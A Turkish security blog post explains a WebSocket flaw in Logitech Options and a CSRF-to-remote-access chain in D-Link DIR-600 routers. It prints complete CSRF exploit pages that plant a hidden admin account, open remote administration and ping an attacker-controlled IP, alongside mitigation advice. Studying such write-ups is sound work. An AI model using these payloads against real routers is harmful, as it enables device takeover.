Web Güvenliği Sadece Web Güvenliği Değildir #2 - Saldırganlar Web Üzerinden Mouse ve Klavyenize Erişebilir mi?

Ziyahan Albeniz - 17 Aralık 2018 -

Bu hafta Haftanın Hackleri'nde Google Project Zero ekibinin tanınan siması Tavis Ormandy'nin Logitech marka mouseları web üzerinden yönetebilmeye yönelik keşfettiği zafiyeti ve Silesia Security Lab'dan Dawid Czagan'ın D-Link DIR-600 routuerlarda keşfettiği CSRF'den Remote Code Execution'a uzanan zafiyetini konu aldık.

Web Güvenliği Sadece Web Güvenliği Değildir #2 - Saldırganlar Web Üzerinden Mouse ve Klavyenize Erişebilir mi?

Web tarayıcılar gündelik hayatımızın çok önemli bir parçası. İşlerimiz giderek daha fazla dijitalleşip web'e taşındıkça web tarayıcıları daha büyük bir oranda kullanıyoruz.

Örneğin bu yazıyı dahi executable bir kelime işlemci ile değil, bulut tabanlı bir kelime işlemcide yazıyorum.

Gün geçtikçe web'in bir atak vektörü olarak kullanıldığı saldırılara daha çok rastlayacağız.

Bu sebeple haklı olarak bir kez daha söyleyebiliriz ki web güvenliği artık sadece web güvenliği değildir.

Konfigürasyonları için web arayüzü sunduğunuz, iç ağda bulunan ve browser üzerinden kendilerine ulaşılabilecek tüm cihazların tasarımlarında web güvenliği hesaba katılmalı.

Birkaç hafta önce Princeton Üniversitesi ve UC Berkeley’den araştırmacıların ortak imzalarını taşıyan IoT cihazlarının web temelli saldırılar ile keşfi ve kontrolünü irdeleyen araştırma yayınlamıştık.

Bugün ise Google Project Zero ekibinin tanınan siması Tavis Ormandy'nin bir bulgusundan söz edeceğiz: web socket yoluyla mouse'unuz kontrol edilebilir mi?

Ormandy'nin bulgusuna göre evet!

Tavis Ormandy, Logitech marka mouse'unun tuşlarına yeni bir fonksiyon atamak istediğinde, Logitech'in Logitech Options adındaki 144 MB'lık dosyasını bilgisayarına indirmesi gerekti. Aşağıdaki adres vasıtası ile dosyayı indiren Ormandy'nin bazı ayrıntılar dikkatini çekti:

https://www.logitech.com/en-us/product/options

Program kendini Windows Kayıt Defteri'nde aşağıdaki konuma kopyalıyor, dolayısıyla PC'nin her açılışında Logitect Options programının çalışmasını sağlıyordu:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Program bir web socket ile bağlanabileceğiniz bir web sunucu hizmeti başlatıyordu. El sıkışma aşamasında herhangi bir Origin check'inin yapılmadığı bu web socket hizmetine, kullanıcının ziyaret ettiği herhangi bir siteden de bağlantı yapılabilirdi!

x.onopen = function(event) { console.log("open", event); };x.onmessage = function(event) {console.log("message", event.data); };x = new WebSocket("ws://localhost:10134");

Uygulamayı biraz daha inceleyen Ormandy, çok geçmeden JSON tipinde veri beklediğini ama gönderilen veri tipinde de zorlayıcı bir kural seti olmadığını, beklenmedik bir tipin gönderilmesi durumunda uygulamanın crash olmasından anladı:

socket.send(JSON.stringify({message_type: "tool_update", session_id: "00cd8431-8e8b-a7e0-8122-9aaf4d7c2a9b", tool_id: "hello", tool_options: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" }))

tool_options parametresi için Array tipinde bir değer beklendiğini farketti.

Uygulamanın iletişim için kullandığı bir protokol olduğunu farkeden Ormandy, ayrıntıları markanın (Logitech) Github reposunda buldu:

https://github.com/Logitech/logi_craft_sdk

Uygulamanın yetki doğrulaması için tek kullandığı yöntemin kullanıcıya ait olan bir process id (pid) olduğunu farketti. İlk bakışta saldırganların adımlarını geriletecek bir tedbir gibi düşünülse de Ormandy brute-force'un yani deneme yanılma saldırısının mümkün olduğunu, saniyeler içerisinde saldırganın geçerli bir pid ile işleme devam edebileceğini farketti.

Saldırgan bu aşamadan sonra donanımda istediği konfigürasyon ayarını yapabilir, isteği komutu gönderebilirdi.

Bilindiği gibi WebSocket, HTML 5.0'in en önemli özelliklerinden biri. Herhangi bir site, başka bir kaynağa WebSocket bağlantı isteği yapabiliyor. Üstelik bu istek ile birlikte browserda tutulan Cookie gibi değerler de gönderilebiliyor. Nitekim WebSocket Hijacking saldırısı tam olarak tarayıcıların bu davranışının sömürülmesi işlemine dayanıyor.

Peki Logitech nasıl bir yol izleyebilirdi?

Burada en önemli nokta, her ne kadar HTTP'den farklı bir protokol de olsa WebSocket bağlantısı kurulmadan önce yani el sıkışma (handshake) aşamasında gönderilen HTTP isteğindeki Origin değerini dikkate almak ve sadece whitelist edilen Origin'ler ile bir WebSocket bağlantısı kurmaya izin vermek.

GET / HTTP/1.1
Host: localhost:10134
Connection: Upgrade
Sec-WebSocket-Version: 13
Origin: https://www.whitelist.me
Sec-WebSocket-Key: XXXXXXXXXXXXXXXXXXXXXXX

Nitekim Tavis Ormandy de Logitech'e gönderdiği zafiyet raporunda benzer bir öneride bulunuyor.

Bizim web site geliştiricilerine başka bir önerimiz daha var. XSS gibi zafiyetlerin sitenizde mevcut olması dolayısıyla saldırganların herhangi bir yerel ya da harici sunucu ile WebSocket vb API'ler üzerinden bağlantı kurmasını engellemek için, önleyici bir mekanizma olarak CSP'nin connect-src talimatını kullanabilirsiniz:

Content-Security-Policy: connect-src 'self' trusted-parter.com:8080;

12 Eylül günü raporlanan zafiyete 90 gün boyunca cevap verilmediği için Tavis Ormandy zafiyeti kamuoyu ile paylaştı. Bundan hemen sonra Logitech yetkilileri ayrıntılı bilgi talebi ile Ormandy'e yanıt verdiler.

Tavis Ormandy zafiyet fixlenene kadar Logitech Options'ı devredışı bırakmayı öneriyor.

Ayrıntılar için lütfen tıklayınız

Content-Type deyip geçmeyin! Sadece HTTP Yanıtlarının Tipi Değil, HTTP İsteklerinin Tipi de Önemli!

HackerOne'ın Top 10 listesinde yer alan ve aynı zamanda Bug Hunting Millionaire kitabının yazarı, Silesia Security Lab'dan Dawid Czagan, CSRF'den Remote Code Execution'a uzanan bir zafiyetin ayrıntılarını paylaştı.

Czagan ayrıntılı açıklamasında D-Link DIR-600 routerlarda (Hardware Version: Bx; Firmware Version: 2.16) CSRF yani Cross Site Request Forgery zafiyetini tespit ettiklerini belirtiyor.

Diyoruz ya web güvenliği sadece web güvenliği değildir, alın size bir başka örnek!

Ama bu zafiyetin ayrıntılarında bizi ilgilendiren başka bir husus daha var, HTTP istek headerlarında yer alan Content-Type'ın önemi.

Content-Type headerı HTTP spesifikasyona 1.0 versiyonu ile birlikte eklenen, hem istek hem de yanıt mesajlarının başlıklarında bulunan bilgi.

Yapılan isteğin sunucu tarafından nasıl yorumlayacağını istek (request) mesajında bulunan Content-Type'ı belirlerken; yanıt mesajındaki Content-Type headerı ise istemci programın örneğin browser sonucu nasıl işleyeceğini belirtiyor.

Örneğin bir HTTP yanıt mesajında Content-Type text/html ise HTML tagları browser tarafından render ediliyor, dolayısıyla biz bu HTML taglarından hareketle oluşturulan web sayfasını görmüş oluyoruz.

Hatta web güvenliği açısından da Content Sniffing'e engel olmak için HTTP yanıtında bir Content-Type headerı bulundurmak ve bunu en doğru biçimde set etmek büyük önem arz ediyor.

Content-Type-Header

Şimdi zafiyetin ayrıntılarına değinme zamanı.

Daha başlangıçta sözünü ettiğimiz üzere bu bir CSRF zafiyeti, yani Cross-Site Request Forgery. Artık OWASP'ın Top 10 listesinde olmasa bile, kimi zaman ne kadar ölümcül olabileceğini tekrar tekrar görüyoruz. Bana soracak olursanız, CSRF benim gözümde hâlâ uyuyan bir dev!

Zafiyetimiz bir CSRF zafiyeti olduğu için istismarı için de bir kullanıcı etkileşimi gerekiyor. Yani kullanıcının saldırganın kendisini girmeye ikna ettiği sayfaya girmeli ve kullanıcının browserı üzerinden bu zafiyetin istismarı için istek yapılmalı.

Zafiyetin istismarı için iki istek yapılması gerekiyor. Bunları REQ1 ve REQ2 olarak adlandıralım.

REQ1:

<html>
  	<body>
    	<script>
      	function submitRequest()
      	{
        	var xhr = new XMLHttpRequest();
        	xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
        	xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        	xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        	xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
    	xhr.withCredentials = "true";
        	var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
	"<postxml>"+
  	"<module>"+
    	"<service>DEVICE.ACCOUNT</service>"+
    	"<device>"+
      	"<account>"+
        	"<seqno/>"+
        	"<max>1</max>"+
        	"<count>2</count>"+
        	"<entry>"+
          	"<name>admin</name>"+
          	"<password>==OoXxGgYy==</password>"+
          	"<group>0</group>"+
          	"<description/>"+
        	"</entry>"+
        	"<entry>"+
          	"<name>admin2</name>"+
          	"<password>pass2</password>"+
          	"<group>0</group>"+
          	"<description/>"+
        	"</entry>"+
      	"</account>"+
      	"<session>"+
        	"<captcha>0</captcha>"+
        	"<dummy/>"+
        	"<timeout>180</timeout>"+
        	"<maxsession>128</maxsession>"+
        	"<maxauthorized>16</maxauthorized>"+
      	"</session>"+
    	"</device>"+
  	"</module>"+
  	"<module>"+
    	"<service>HTTP.WAN-1</service>"+
    	"<inf>"+
      	"<web>2228</web>"+
      	"<weballow>"+
        	"<hostv4ip/>"+
      	"</weballow>"+
    	"</inf>"+
  	"</module>"+
  	"<module>"+
    	"<service>HTTP.WAN-2</service>"+
    	"<inf>"+
      	"<web>2228</web>"+
      	"<weballow>"+
        	"<hostv4ip/>"+
      	"</weballow>"+
    	"</inf>"+
  	"</module>"+
	"</postxml>";
        	xhr.send(body);
      	}
    	</script>
    	<form action="#">
      	<input type="button" value="Submit request1" onclick="submitRequest();" />
    	</form>
  	</body>
</html>

REQ2:

<html>
<body>
<script>
	function submitRequest()
	{
	var xhr = new XMLHttpRequest();
	xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
	xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
	xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
	xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
	xhr.withCredentials = "true";
	var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
	xhr.send(body);
	}
	</script>
	<form action="#">
	<input type="button" value="Submit request2" onclick="submitRequest();" />
	</form>
</body>
</html>

Yukarıda ilk olarak REQ1'i görüyorsunuz. Bold olarak işaretlediğim alana dikkat ediniz, zira bu zafiyet ile ilgili değinmek istediğimiz esas nokta orası. Tabii oraya gelmeden önce bu istek vasıtası ile ne gibi bir değişiklik yapılmak isteniyor ondan söz edelim.

İki adet admin hesabı bu istekle beraber ekleniyor. Birincisi "admin" yani varsayılan yönetici hesabı. Bu hesap zaten mevcut, parola alanında gönderilen değer ==OoXxGgYy== gönderildiği için parola aynı şekilde kalacak.

admin2 (admin2, pass2) ise zafiyet dolayısıyla sisteme eklenen yeni bir yönetici hesabı. Aynı zamanda 2228 numaralı port üzerinden uzaktan yönetim izni veriliyor bu hesaba. REQ2 isteği ile beraber de gönderilen SETCFG,SAVE,ACTIVATE komutu ile (tabii URL encoded hali gönderiliyor) ayarların aktif olması sağlanıyor.

Yeni bir yönetici hesabı ve uzaktan erişim için port açan saldırgan şimdi makineye ulaşmak için makinenin IP adresini de öğrenmeli. Bunun için de modem arayüzünden kendi kontrolündeki sunucuya "ping" gönderilmesini sağlayacak:

<html>
<body>
	<script>
	function submitRequest()
	{
	var xhr = new XMLHttpRequest();
	xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
	xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
	xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
	xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
	xhr.withCredentials = "true";
	var body = "act=ping&dst=X.Y.Z.W";
	xhr.send(body);
	}
	</script>
	<form action="#">
	<input type="button" value="Submit request3" onclick="submitRequest();" />
	</form>
</body> 

X.Y.Z.W saldırganın kontrolündeki makinenin IP adresi.

Şimdi bizim için sıradan bir CSRF zafiyetini önemli kılan ayrıntılara değinelim.

Zafiyetin istismarında REQ1 çok önemli bir rol üstleniyor. Hem cihaz üzerinde yeni bir yönetici hesabı oluşturuyor, hem de uzaktan erişim için port erişimini konfigüre ediyor.

Dikkat edildi ise burada gönderilen payload XML biçeminde.

Fakat, bold olarak işaretlediğimiz alan, istek tipinin text/plain olduğunu söylüyor:

xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");

Burada çok ama çok önemli bir ayrıntı var. Eğer sistemi geliştiren yazılımcılar bekledikleri data tipi ile (XML) uyumlu bir Content-Type'da ısrarcı olsalardı bu zafiyetin istismarı mümkün olmayacaktı.

Çünkü Ajax/XHR isteklerinde browserlar,

  1. Eğer istek GET, HEAD ve POST metotlarından farklı bir metodu kullanıyor ise ve/veya
  2. POST metodu ile birlikte Content-Type olarak application/x-www-form-urlencoded, multipart/form-data, text/plain tiplerinden FARKLI bir tip set edildi ve/veya
  3. Yapılan isteğe bir Custom Header set edildi ise,

Ajax/XHR isteğini doğrudan göndermek yerine, öncelikle sunucuya OPTIONS metodunu kullanarak bir ön istek yapmaktadır.. Yapılan isteğin hedef sunucu tarafından kabul edilip edilmediğini bu yolla kontrol etmektedir. Bu denetim Preflight Request olarak adlandırılmaktadır.

Dolayısıyla router cihazı bu Preflight isteğine olumlu yanıt vermeyeceği için, CSRF saldırısını içeren istek gerçekleşmeyecek ve zafiyetin istismarı mümkün olmayacaktı!

Same Origin Policy ve CORS konusundaki ayrıntılı makalemize Netsparker Türkiye Blogu'ndan erişebilirsiniz.

Siz siz olun sadece HTTP yanıtlarının Content-Type'ına değil, HTTP isteklerinin Content-Type'larına da gereken ehemmiyeti gösterin; isteklerin body kısmı ile uyumlu olmayan, beklediğiniz format dışındaki Content-Type'ları kabul etmeyin.

Zafiyetin ayrıntıları için lütfen tıklayınız.